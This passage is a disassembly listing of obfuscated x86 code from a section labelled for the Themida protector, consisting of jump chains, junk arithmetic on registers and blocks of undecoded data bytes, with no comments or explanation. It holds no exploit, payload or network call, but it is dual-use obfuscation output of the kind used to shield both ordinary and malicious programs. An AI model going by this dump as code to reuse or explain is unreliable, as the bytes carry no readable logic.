		push	edi
		mov	edi, 56185FDCh
		or	edx, edi
		pop	edi
		jmp	loc_5517F3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 4C481h, 68660000h, 89667FD0h, 0EC812414h, 4,	0E9240C89h
		dd 0FFFFA670h
; ---------------------------------------------------------------------------

loc_559D90:				; CODE XREF: Themida_:0055AF84j
		add	esp, 4
		add	esp, 4
		jmp	loc_5620D8
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0B0A25F4h, 1132A82Dh, 0C582D1Bh, 0E8295B41h,	410C5805h
		dd 0B2E9535Bh
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559DBB:				; CODE XREF: Themida_:00550FDDj
		mov	ecx, 0F4CCB0E1h
		jmp	loc_55A33D
; ---------------------------------------------------------------------------
		db 56h,	55h, 54h
		dd 4C5815Dh, 81000000h,	4EDh, 242C8700h, 2414895Ch, 0C52D8668h
		dd 814A5A54h, 0A11FD6F2h, 8B5E5248h, 76E92414h,	81FFFFD8h
		dd 40ED64C1h, 59CE89EDh, 8106EEC1h, 7679D1EEh, 0DE42E9A9h
		db 2 dup(0FFh)
word_559E0A	dw 8956h		; DATA XREF: Themida_:0054FF48o
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 6824248Bh, 0CF4h
		dd 0FFE309E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_559E29:				; CODE XREF: Themida_:005641FAj
		xor	edi, 0B9FFA047h
		mov	ebx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		not	ebx
		shl	ebx, 3
		add	ebx, 5AB47A94h
		add	ebx, 1735762Bh
		push	edi
		mov	edi, 1
		add	ebx, edi
		jmp	loc_563953
; ---------------------------------------------------------------------------
		db 89h,	0C3h, 89h
		dd 5E0FE9DEh, 0B60F0000h, 8734FFC0h, 676468h, 24048900h
		dd 4055854h, 2D000000h,	4, 5C7A68h, 85D5E900h, 0C7810000h
		dd 7D6F5C86h, 481BEF81h, 0F7814FF1h, 67D50565h,	4BFCC781h
		dd 0FE21FFFFh, 14F7565Fh, 0F6815E24h, 0A5BDEA18h, 9AE9F329h
		dd 5D000063h, 0B866505Fh, 8EE95B4Eh, 68000096h,	48E8h
		dd 0B5240C89h, 0FFE83089h, 53592434h, 2434FF54h, 81241C8Bh
		dd 4C4h, 16026800h, 1C890000h, 815B5424h, 4C3h,	4C38100h
		dd 68000000h, 4B4Ah, 0E9241C89h, 6AF1h
; ---------------------------------------------------------------------------

loc_559F00:				; CODE XREF: Themida_:00553512j
		mov	[esp+4], bh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55DE8D
; ---------------------------------------------------------------------------
		db 83h
		dd 0E2C1FFC2h, 0A4F28103h, 5132D60Eh, 0CE73A7B9h, 5E9C17Dh
		dd 124E981h, 0E2E9469Dh
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559F2F:				; CODE XREF: Themida_:00557996j
		pop	edx
		pop	ecx

loc_559F31:				; CODE XREF: Themida_:00564B45j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5507AD
; ---------------------------------------------------------------------------
		db 53h
		dd 241C8B54h, 4C481h, 0C3810000h, 4, 0FF851BE9h, 0CF8166FFh
		dd 0CDE9031Eh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559F5F:				; CODE XREF: Themida_:00558A3Aj
		sub	esi, 3A652DB9h
		add	esi, edx
		jmp	loc_550E42
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0D12h, 0E924248Bh, 0FFFFD997h, 5F2434FFh
		dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4C58100h, 0E9000000h
		dd 70C1h, 0D7E9565Bh, 0BEFFFF9Ah, 5FCB0C2Eh, 26BACE81h
		dd 0DEF7479Bh, 0E681DEF7h, 4C4108AFh, 882EE81h,	0F729FD3Eh
		dd 0EEBB535Eh, 8125C46Eh, 0F720CEC3h, 0CB98E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_559FD2:				; CODE XREF: Themida_:0056235Ej
		xor	esi, [esp]
		jmp	loc_55BF07
; ---------------------------------------------------------------------------
		dw 487h
aYsxm		db '$Yéxm',0
		db 0
; ---------------------------------------------------------------------------

loc_559FE3:				; CODE XREF: Themida_:00551713j
		push	487h
		jmp	loc_5605AE
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 53000000h, 8904EC83h, 67BA2414h, 68767C0Ah, 6444h, 0BD242C89h
		dd 124B73C9h, 0EB7C581h, 0ED810480h, 342A41A0h,	7291CD81h
		dd 0C581799Eh, 12F4D164h, 4B25F581h, 0EA0116C8h, 0BF2815Dh
		dd 0E9665B0Eh, 0CD5h, 24348156h, 60560ABBh, 81240C8Bh
		dd 4C4h, 0BBBD5500h, 0E960560Ah, 0FFFF81A9h, 0CC06DF05h
		dd 40D8F761h, 4CA12405h, 0E7BDE948h, 3A2DFFFFh,	40307533h
		dd 5602E8C1h, 1F6682BEh, 46D6F759h, 754FC681h, 0E9515B71h
		dd 0FFFFF622h, 0A4685053h, 58380349h, 0C40DD0F7h, 56E953Ch
		dd 4BEB7A36h, 0F1516335h, 1D5EE984h, 0E2810000h, 459147C9h
		dd 0D2F7DAF7h, 0FFB712E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A0B1:				; CODE XREF: Themida_:0055714Ej
		xor	ebx, 8755DD50h
		mov	ecx, ebx
		jmp	loc_563BE9
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 5276ABB4h, 295DE989h, 143359CAh, 0D081E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A0D2:				; CODE XREF: Themida_:00553538j
		mov	[esp], edi
		jmp	loc_565105
; ---------------------------------------------------------------------------

loc_55A0DA:				; CODE XREF: Themida_:00558390j
		mov	edx, esi
		jmp	loc_562094
; ---------------------------------------------------------------------------
		db 29h,	0DAh, 5Bh
		dd 0C281CA01h, 1280978h, 2C28359h, 31D168h, 0ED8AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A0FA:				; CODE XREF: Themida_:0055B54Dj
		dec	dword ptr [esp]
		jmp	loc_55B901
; ---------------------------------------------------------------------------
aHiv		db '^^hIV',0
		dd 24048900h, 14685253h, 5A46031Bh, 6B0BEA81h, 64E97B9Bh
		dd 810000B2h, 9B6767EAh, 1BE566Eh, 29000000h, 0CA815EF2h
		dd 64946A44h, 0FB58F281h, 0D701FFF4h, 0E92434FFh, 0FFFFB893h
; ---------------------------------------------------------------------------

loc_55A144:				; CODE XREF: Themida_:00559479j
		push	esi
		mov	esi, esp
		jmp	loc_550DD0
; ---------------------------------------------------------------------------
		dd 68243C89h, 77B414D9h, 5F2434FFh, 547668h, 240C8900h
		dd 0C181E189h, 4, 0FFDA54E9h, 8BF801FFh, 0C481243Ch, 4
		dd 5558C531h, 0AC62DBBDh, 310CE97Eh, 4830000h, 50590424h
		dd 339C68h, 243C8900h, 0B88B951h, 0E1811871h, 7661579Dh
		dd 0E908E9C1h, 0FFFF7F52h, 3AE9D9F7h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55A1AF:				; CODE XREF: Themida_:00558D5Bj
		pop	edx
		jmp	loc_5524BE
; ---------------------------------------------------------------------------

loc_55A1B5:				; CODE XREF: Themida_:0055E0A1j
		push	esi
		jmp	loc_556331
; ---------------------------------------------------------------------------
		db 89h
		dd 0CE0958C1h, 0FF6D5EE9h, 0B8BA52FFh, 0E937412Ch, 2B61h
		dd 335EF001h, 4312404h,	8929E924h, 248BFFFFh, 24048F24h
		dd 0FBB9515Ch, 0E973376Fh, 0FFFFE0C4h, 919AEE81h, 8953B333h
		dd 5BDA89F3h, 8748E95Eh, 0C681FFFFh, 41D176D4h,	4A72E9h
		dd 24448100h, 0CF765F04h, 815E5A77h, 4C6h, 4EC8300h, 0BB241C89h
		dd 2, 0FFEADEE9h, 2E7C1FFh, 1B76BE56h, 0E6814F2Bh, 47EA1B5Fh
		dd 0F1EE8146h, 9DC0308h, 0EF815EF7h, 0EBFF1F74h, 815FFD89h
		dd 0D3553EE9h, 81E90162h, 0D3553EC1h, 0A696E962h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A262:				; CODE XREF: Themida_:005533FBj
		shr	ebx, 1
		or	ebx, 167A7A1Ah
		and	ebx, 5BD52A61h
		add	ebx, 60283125h
		add	ebx, 8D06A49Fh
		add	esi, ebx
		pop	ebx
		jmp	loc_556698
; ---------------------------------------------------------------------------
a0Sw		db '0ÁéW³',0
		db 0
; ---------------------------------------------------------------------------

loc_55A28B:				; CODE XREF: Themida_:0055AF2Bj
		pop	ecx
		add	esp, 4
		sub	ecx, 77DF32A7h
		push	edx
		jmp	loc_5583EE
; ---------------------------------------------------------------------------

loc_55A29E:				; CODE XREF: Themida_:00555CC7j
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 8A63448h
		inc	ebx
		not	ebx
		jmp	loc_55392F
; ---------------------------------------------------------------------------
		db 0B8h, 0DFh, 1Ah
		dd 20E93C0Bh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A2C7:				; CODE XREF: Themida_:0055134Cj
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5580B8
; ---------------------------------------------------------------------------
		db 81h
		dd 266F31CDh, 3ED8164h,	4D3AC437h, 0FF7CC1E9h, 0EDC14DFFh
		dd 9651E905h, 8950FFFFh, 405E0h, 4050000h, 87000000h, 665C2404h
		dd 8B66FB01h, 38E9243Ch
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A313:				; CODE XREF: Themida_:0055B056j
		add	ebx, 0F98610Fh
		jmp	loc_55272D
; ---------------------------------------------------------------------------

loc_55A31E:				; CODE XREF: Themida_:0055C1FDj
		sub	esi, eax
		pop	eax
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_55C98B
; ---------------------------------------------------------------------------

loc_55A33D:				; CODE XREF: Themida_:00559DC0j
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_563FE6
; ---------------------------------------------------------------------------
		db 1
		dd 9DE95FF9h, 58000094h, 592434FFh, 57E38953h, 0A871ADBFh
		dd 0B2D7E978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A362:				; CODE XREF: Themida_:00554541j
		movsx	ecx, al
		push	3DD5h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_557011
; ---------------------------------------------------------------------------
		dw 43BBh
		dd 0C121B907h, 0EB8102E3h, 4DF2552Dh, 0FF9092E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A38D:				; CODE XREF: Themida_:005566D5j
		pop	ebx
		jmp	loc_55C195
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C5BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A39E:				; CODE XREF: Themida_:00556E14j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55C431
; ---------------------------------------------------------------------------

loc_55A3AB:				; CODE XREF: Themida_:00564A64j
		add	esp, 4
		jmp	loc_5509FC
; ---------------------------------------------------------------------------

loc_55A3B3:				; CODE XREF: Themida_:005538A0j
		pop	eax
		jmp	loc_55A676
; ---------------------------------------------------------------------------

loc_55A3B9:				; CODE XREF: Themida_:0055D57Bj
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		jmp	loc_5505B4
; ---------------------------------------------------------------------------
		db 0BDh, 0B9h, 74h
		dd 52453A0Eh, 54438BAh,	0DDC28137h, 814DA46Dh, 8049C4F2h
		dd 0C2814A26h, 91C13D4Dh, 2AE9D509h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A3EB:				; CODE XREF: Themida_:0055FA6Ej
		add	ebp, 3A2661C6h
		shr	ebp, 3
		xor	ebp, 0DC5F1ECh
		jmp	loc_551260
; ---------------------------------------------------------------------------
		db 0F7h
		dd 114CE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A406:				; CODE XREF: Themida_:0055B030j
		pop	eax
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	edi
		mov	edi, 4B64026Bh
		jmp	loc_557603
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0DDF7DDF7h, 0EA89BB53h, 0DD31CACFh, 5DEF315Bh, 3C8BFD01h
		dd 7806E924h, 81580000h, 707086C5h, 81CD0179h, 707086EDh
		dd 3EC58179h, 5968907Eh, 41A4E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A455:				; CODE XREF: Themida_:00553D53j
		mov	esi, ecx
		pop	ecx
		sub	eax, 0F4434C2h
		jmp	loc_557DEF
; ---------------------------------------------------------------------------
		dw 3031h
		dd 2434FF58h, 4C4835Ah,	8324348Bh, 0D23104C4h, 2CF768h
		dd 242C8900h, 4EC81h, 22E90000h, 81FFFF92h, 2238A4EBh
		dd 5BDF01CBh, 0EF81D701h, 6B316862h, 0FFA77EE9h, 4C381FFh
		dd 0E9000000h, 0FFFF67BFh, 5FFE015Ah, 31243433h, 34332434h
		dd 0F1F75C24h, 250368h,	242C8900h, 0FF6EE9E9h, 241489FFh
		dd 0FFCAF4E9h, 0E5C181FFh, 0E936B019h, 6D8h, 5AC7F381h
		dd 0A4E94DEBh, 81FFFFFFh, 4EEh,	24348700h, 8924248Bh, 5F54243Ch
		dd 4C781h, 0C7830000h, 243C3304h, 33243C31h, 0F9E9243Ch
		dd 510000A0h, 1264BD55h, 0E989599Ch, 4AC1815Dh,	0E92BEC27h
		dd 28B4h, 5C242C87h, 0E9D18851h, 616h, 0FF5B66E9h, 6A44BBFFh
		dd 0E3815904h, 44DC6AEDh, 0EB81D3F7h, 76D05408h, 383FC381h
		dd 81431770h, 0E3DFAFC3h, 5BDA31D8h, 0FFB524E9h, 4C481FFh
		dd 8B000000h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		push	2346h
		mov	[esp], ecx
		mov	ecx, 2B8D67FFh
		jmp	loc_5593C7
; ---------------------------------------------------------------------------
		dw 5401h
		dd 0E95A0424h, 851Bh, 0C281E289h, 4, 4C281h, 0B1E90000h
		dd 59FFFFC9h, 35E9FE21h, 68000066h, 6F95h, 0FFF141E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A5AD:				; CODE XREF: Themida_:0055604Cj
		mov	ebx, 7E221960h
		and	ebp, ebx
		pop	ebx
		sub	ebp, 793DB1BDh
		jmp	loc_554147
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812404h, 4, 0E9E18951h, 0FFFF71F0h, 8245C29h
		dd 8246C81h, 2415540Ch,	101BE9h, 3E306800h, 1C890000h
		dd 0FBE95624h, 81000030h, 4C4h,	24048F00h, 0E924248Bh
		dd 218Bh, 0FF5A8EE9h, 4EC81FFh,	0E9000000h, 0FFFF6290h
; ---------------------------------------------------------------------------

loc_55A614:				; CODE XREF: Themida_:00560048j
		pop	edx
		sub	bl, ah
		jmp	loc_564BD1
; ---------------------------------------------------------------------------

loc_55A61C:				; CODE XREF: Themida_:00560D73j
		add	esp, 4
		and	ecx, 257374AAh
		push	eax
		mov	eax, esp
		jmp	loc_55C157
; ---------------------------------------------------------------------------
		db 1, 0DAh, 5Bh
		dd 8B241487h, 202C2424h, 2004D028h, 0FC3305Ah, 8F66C0B6h
		dd 4CE98704h
		db 5Ah,	2 dup(0FFh)
byte_55A64B	db 0FFh			; DATA XREF: Themida_:0054FFFCo
		dd 0BCE92434h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A653:				; CODE XREF: Themida_:00551B90j
		push	4A24h
		jmp	loc_565478
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 59h
		dd 0DEE9F031h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A667:				; CODE XREF: Themida_:00556E32j
		pop	dword ptr [esp]
		pop	esp
		pop	ecx
		push	2562h
		jmp	loc_55487A
; ---------------------------------------------------------------------------

loc_55A676:				; CODE XREF: Themida_:0055A3B4j
		add	edi, edx
		add	edi, 68C07465h
		pop	edx
		push	eax
		jmp	loc_551A84
; ---------------------------------------------------------------------------
		db 5Fh,	31h, 0D1h
		dd 0E924148Bh, 0FFFFC01Ch, 8759CB01h, 248B241Ch, 242C8B24h
		dd 0C8B5451h, 4C48324h,	4C181h,	0EC830000h, 608CE904h
		dd 0D7290000h, 81D7295Ah, 9A0EFBC7h, 0EF815A30h, 391D04C5h
		dd 0C781CF01h, 391D04C5h, 99D1E9h, 4C48100h, 81000000h
		dd 2C1h, 86A8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55A6E2:				; CODE XREF: Themida_:00560FC8j
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 4404408Ah
		or	ecx, 0E4C3FF0h
		shl	ecx, 1
		push	esi
		jmp	loc_552C95
; ---------------------------------------------------------------------------
		dd 0E9E8295Dh, 0FFFF8B2Eh, 0E9DE015Dh, 0FFFFC15Ch
dword_55A718	dd 24048B66h, 5A545255h, 4C281h, 0EA830000h, 24148704h
					; DATA XREF: Themida_:0054FE7Co
		dd 5342E9h
		db 0
; ---------------------------------------------------------------------------

loc_55A731:				; CODE XREF: Themida_:005563D7j
		mov	cl, 2Ch
		neg	cl
		not	cl
		sub	cl, 65h
		and	dl, cl
		jmp	loc_563CFD
; ---------------------------------------------------------------------------

loc_55A741:				; CODE XREF: Themida_:00560887j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_554F2A
; ---------------------------------------------------------------------------

loc_55A74F:				; CODE XREF: Themida_:00558B3Aj
		sub	ecx, eax
		sub	ecx, 12F53ED2h
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_557B53
		push	dword ptr [edi+1Ch]
		push	ebp
		push	esi
		push	3F4B6E72h
		push	dword ptr [esp]
		jmp	loc_56249A
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 81000000h, 0D677A5C5h, 0E9FD0157h, 0FFFFAF42h, 58C6095Bh
		dd 7A61EE81h, 0E951FD71h, 0FFFF6AE1h
; ---------------------------------------------------------------------------

loc_55A7A8:				; CODE XREF: Themida_:00550758j
		mov	edx, 1
		jmp	loc_55E178
; ---------------------------------------------------------------------------

loc_55A7B2:				; CODE XREF: Themida_:00564D03j
		push	ebx
		push	1ED6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 7112758Ah
		jmp	loc_555A49
; ---------------------------------------------------------------------------
byte_55A7DD	db 66h,	8Bh, 4		; DATA XREF: Themida_:0054FF1Co
		dd 0E2895224h, 4BD55h, 0EA810000h, 686B04FFh, 8953EA01h
		dd 4C381E3h, 83000000h,	1C8704EBh, 2C895C24h, 4F58BD24h
		dd 0FCE97EBFh, 81FFFFE3h, 4C4h,	24048F00h, 24048F5Ch, 0FF24248Bh
		dd 0CBCE930h, 575E0000h, 306D3BBFh, 0E9EF8706h,	0FFFFD70Fh
		dd 7F1CE581h, 0ED815F7Ch, 0EB49122Dh, 815DEA01h, 5731C9EAh
		dd 59B9511Ch, 18AC1B0h,	896CE9CAh, 815D0000h, 181473EDh
		dd 0E9EF892Bh, 5ADCh, 42474FFh,	24048F5Bh, 81CAE95Ch, 0CDBFFFFFh
		dd 81318462h, 0C56A99CFh, 0EF814F01h, 44522BABh, 0FF7199E9h
		dd 11F668FFh, 815921B1h, 0F110D1F1h, 0E9CF8933h, 6E1Bh
		dd 5818D768h, 5B2DE974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A8A6:				; CODE XREF: Themida_:0055BF20j
		shr	edi, 8
		jmp	loc_5576F2
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0FF7ACAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55A8B5:				; CODE XREF: Themida_:00564188j
		inc	esi
		jmp	loc_555079
; ---------------------------------------------------------------------------

loc_55A8BB:				; CODE XREF: Themida_:00563CC6j
		sub	edx, 7E3C7809h
		mov	esi, [esp]
		jmp	loc_562A8D
; ---------------------------------------------------------------------------

loc_55A8C9:				; CODE XREF: Themida_:00560D56j
		pop	edx
		jmp	loc_563578
; ---------------------------------------------------------------------------

loc_55A8CF:				; CODE XREF: Themida_:00553C0Bj
		pop	ecx
		or	ebx, 47590249h
		not	ebx
		push	edi
		jmp	loc_560B02
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 0E9241C33h, 0FFFF6430h, 4EC835Fh,	0E9241489h
		dd 5C2Ah, 772CBF57h, 0FE297C3Ah, 4EC815Fh, 89000000h, 6EBA2414h
		dd 0F737114Bh, 0B9F281DAh, 813F1A1Eh, 713337F2h, 5AD60137h
		dd 15EF001h, 0BB5358C2h, 4, 3144C281h, 0F2E938AAh, 89000088h
		dd 0A381E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55A93E:				; CODE XREF: Themida_:0055BA7Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_557AC7
; ---------------------------------------------------------------------------
		dd 257C68h, 241C8900h, 3368F9BBh, 0E9D90902h, 4A1Fh, 54BF575Eh
		dd 2D27E476h, 414E238Ch, 0FF69A4E9h, 9F6859FFh,	8900001Ah
		dd 8AE92404h, 5100006Ch, 58A3BE56h, 0F1894237h,	8124348Bh
		dd 4C4h, 59CB2900h, 0C381FB01h,	423758A3h, 0FF2434FFh
		dd 58E92434h, 810000A1h, 590688C5h, 48C58173h, 8156A94Bh
		dd 39B9F6F5h, 0E9E889C1h, 0FFFFBF68h
; ---------------------------------------------------------------------------

loc_55A9C0:				; CODE XREF: Themida_:00556F2Cj
		pop	edx
		shl	edi, 2
		shr	edi, 6
		jmp	loc_5633A4
; ---------------------------------------------------------------------------
		dd 243C875Bh, 2404895Ch, 0FF66D8E9h, 0EC781FFh,	0D13F350Fh
		dd 2EFC1E7h, 1957E956h,	0DF010000h, 2889C781h, 0EF811286h
		dd 34F56A68h, 50B2E95Bh, 50510000h, 0FF6487E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AA05:				; CODE XREF: Themida_:0055B5FBj
		add	esi, 4
		jmp	loc_55912A
; ---------------------------------------------------------------------------

loc_55AA10:				; CODE XREF: Themida_:00561DF0j
		mov	[esp], ebp
		mov	ebp, 7FAC0A45h
		xor	ebp, 4CA669Ch
		push	edi
		mov	edi, 0E8058A2h
		jmp	loc_564D37
; ---------------------------------------------------------------------------

loc_55AA29:				; CODE XREF: Themida_:00556579j
		xor	ch, 88h
		sub	al, 93h
		add	al, 0A5h
		jmp	loc_55676F
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0EE38A1BFh, 7E7C129h, 0EFC1D7F7h, 61EF8106h,	57039159h
		dd 5F2414F7h, 0BB2AEF81h, 0FA012EA7h, 599CE9h
		db 0
; ---------------------------------------------------------------------------

loc_55AA5D:				; CODE XREF: Themida_:00553023j
		mov	ecx, [esp]
		add	esp, 4

loc_55AA63:				; CODE XREF: Themida_:00562A95j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_560CA2
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 82h
		dd 299D5EB8h, 0BA525EF2h, 178A59B5h, 0FFE28CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AA95:				; CODE XREF: Themida_:00559207j
		add	ebx, 9612E0BBh
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5595B4
; ---------------------------------------------------------------------------

loc_55AAA5:				; CODE XREF: Themida_:005524C1j
		push	eax
		mov	eax, 6AB71128h
		not	eax
		shr	eax, 4
		dec	eax
		inc	eax
		push	1C38h
		mov	[esp], esi
		mov	esi, 65A4407h
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56435A
; ---------------------------------------------------------------------------
		dd 835AD101h, 0CEE904E9h, 0F7000073h, 18E953D7h, 81FFFFDAh
		dd 4C6h, 4C68300h, 0FFE6DDE9h, 240C8BFFh, 4C481h, 0D8300000h
		dd 56241C8Bh, 8952E689h, 4C281E2h, 83000000h, 148704EAh
		dd 14895C24h, 4BA24h, 0D6010000h, 5624148Bh, 0C681E689h
		dd 4, 8704C683h, 815C2434h, 4C6h, 685B6800h, 34890000h
		dd 2474FF24h, 0BEC6E904h, 4C88FFFFh, 34FF0187h,	240C8B24h
		dd 6804C483h, 7577h, 89240C89h,	4C181E1h, 55000000h, 9D6F72BDh
		dd 82E94D76h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AB6B:				; CODE XREF: Themida_:00561BB3j
		push	dword ptr [esp+4]
		jmp	loc_556308
; ---------------------------------------------------------------------------
		dd 89243489h, 82E957E6h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AB7F:				; CODE XREF: Themida_:0055BA0Fj
		sub	esp, 4
		mov	[esp], esi
		xor	dword ptr [esp], 76A532FDh
		pop	eax
		xor	eax, 76A532FDh
		mov	esi, [esp]
		jmp	loc_55E183
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 68000000h, 1FF6h, 0E9240C89h, 0FFFF5D87h, 9B2EF181h
		dd 0CB29C9A2h, 0A5B1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55ABBD:				; CODE XREF: Themida_:0055944Cj
		sub	ebx, 78981249h
		jmp	loc_554D6F
; ---------------------------------------------------------------------------
		dd 52B7ADB9h, 59CE2936h, 348BF301h, 0E7895724h,	4C781h
		dd 0C7830000h, 243C8704h, 4C21E95Ch, 0D7F60000h, 0F8B25266h
		dd 5A66D730h, 0E95BF828h, 0FFFF6D5Dh, 0E95FF987h, 0BDCh
		dd 75BB5355h, 0E9CF3631h, 0FFFFE2EEh
; ---------------------------------------------------------------------------

loc_55AC10:				; CODE XREF: Themida_:005620DAj
		xor	esi, ebp
		xor	ebp, esi
		jmp	loc_56256D
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 241C895Ch, 168h, 3E95B00h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------

loc_55AC2B:				; CODE XREF: Themida_:005504EBj
		push	7100h
		push	esp
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_55DEB2
; ---------------------------------------------------------------------------

loc_55AC43:				; CODE XREF: Themida_:0055DA0Fj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55E09D
; ---------------------------------------------------------------------------
aZfissu		db 'Zf‰ééã]',0
		db 0
; ---------------------------------------------------------------------------

loc_55AC5F:				; CODE XREF: Themida_:0055BB47j
		mov	edi, 2D306469h
		jmp	loc_55534D
; ---------------------------------------------------------------------------
		db 51h,	53h, 0B7h
		dd 0C4B4500Eh, 802FB151h, 0CC28ACECh, 8BACC480h, 0C483240Ch
		dd 74C0E904h, 0FB680000h, 0E96EF947h, 0FFFFA50Fh, 8BD10159h
		dd 1DE92414h, 81000048h, 0D7A3EC2h, 53525E0Ah, 0FF9311E9h
		dd 0E9815BFFh, 79515B6h, 3E10E981h, 0F0E97612h,	5E000096h
		dd 74A7C581h, 0FD012475h, 74A7B850h, 28E92475h,	0BA000021h
		dd 16CA0B3Dh, 0EA5EA81h, 8142699Dh, 7E2196E2h, 93A6E975h
		dd 3C89FFFFh, 46824h, 3C8B0000h, 4C48124h, 1000000h, 0B9515FFEh
		dd 3D865FE4h, 5FE2E981h, 0CE013D86h, 0FFDFA4E9h, 27EA81FFh
		dd 819840F7h, 0F0B496EAh, 5AD389F2h, 0E2E9EBD1h, 5000073h
		dd 65AB64BEh, 1367E9h, 5365E900h, 0FB29FFFFh, 21DFEB81h
		dd 685F00B8h, 7932h, 3D6CE9h, 24148B00h, 4C481h, 0C1810000h
		dd 33622CAEh, 0E981E901h, 33622CAEh, 0FFC292E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AD61:				; CODE XREF: Themida_:0056101Ej
		sub	esp, 4
		mov	[esp], ebp
		pop	ebx
		jmp	loc_551603
; ---------------------------------------------------------------------------
		db 1, 0F3h, 81h
		dd 497B48C3h, 15C38127h, 812A2F7Bh, 0ED22EEEBh,	6A8BE94Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55AD86:				; CODE XREF: Themida_:00550B6Ej
		mov	ebx, 13DAC830h
		add	esi, ebx
		jmp	loc_5564DB
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 4EC81h, 2C890000h,	4BD24h,	90E90000h
		db 87h,	2 dup(0)
byte_55ADAB	db 0FFh			; DATA XREF: Themida_:0054FED8o
		dd 34FF2434h, 24048B24h, 2550E9h, 8AEF8000h, 0FF7C63E9h
		db 0FFh
; ---------------------------------------------------------------------------

